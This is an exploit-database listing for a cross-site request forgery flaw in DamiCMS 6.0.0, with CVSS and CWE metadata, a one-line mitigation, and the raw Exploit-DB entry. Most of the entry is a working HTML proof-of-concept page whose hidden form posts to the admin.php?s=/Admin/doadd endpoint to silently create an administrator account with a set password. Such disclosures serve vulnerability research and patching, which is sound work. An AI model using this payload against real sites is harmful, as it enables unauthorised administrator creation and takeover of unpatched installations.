header-logo
Suggest Exploit
vendor:
DamiCMS
by:
bay0net
5.5
CVSS
MEDIUM
Cross-Site Request Forgery
352
CWE
Product Name: DamiCMS
Affected Version From: DAMICMS_V6.0.0
Affected Version To: DAMICMS_V6.0.0
Patch Exists: NO
Related CWE:
CPE: a:damicms:damicms:6.0.0
Metasploit:
Other Scripts:
Platforms Tested:
2018

DAMICMS 6.0.0 – Cross-Site Request Forgery (Add Admin)

DamiCMS v6.0.0 allows CSRF via admin.php?s=/Admin/doadd to add an administrator account.

Mitigation:

Implement CSRF tokens to validate requests and prevent unauthorized actions.
Source

Exploit-DB raw data:

<!--
# Exploit Title: DAMICMS 6.0.0 - Cross-Site Request Forgery (Add Admin)
# Date: 2018-06-30
# Exploit Author: bay0net
# Vendor Homepage: https://www.cnblogs.com/v1vvwv/p/9248562.html
# Software Link: https://www.damicms.com/Down#
# Version:  DAMICMS_V6.0.0
# CVE : N/A

# DamiCMS v6.0.0 allows CSRF via admin.php?s=/Admin/doadd to add an administrator account.
# The payload for attack is as follows.
-->

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://Target/dami/admin.php?s=/Admin/doadd" method="POST">
      <input type="hidden" name="username" value="test22" />
      <input type="hidden" name="password" value="test22" />
      <input type="hidden" name="role_id" value="1" />
      <input type="hidden" name="Submit" value="添加" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>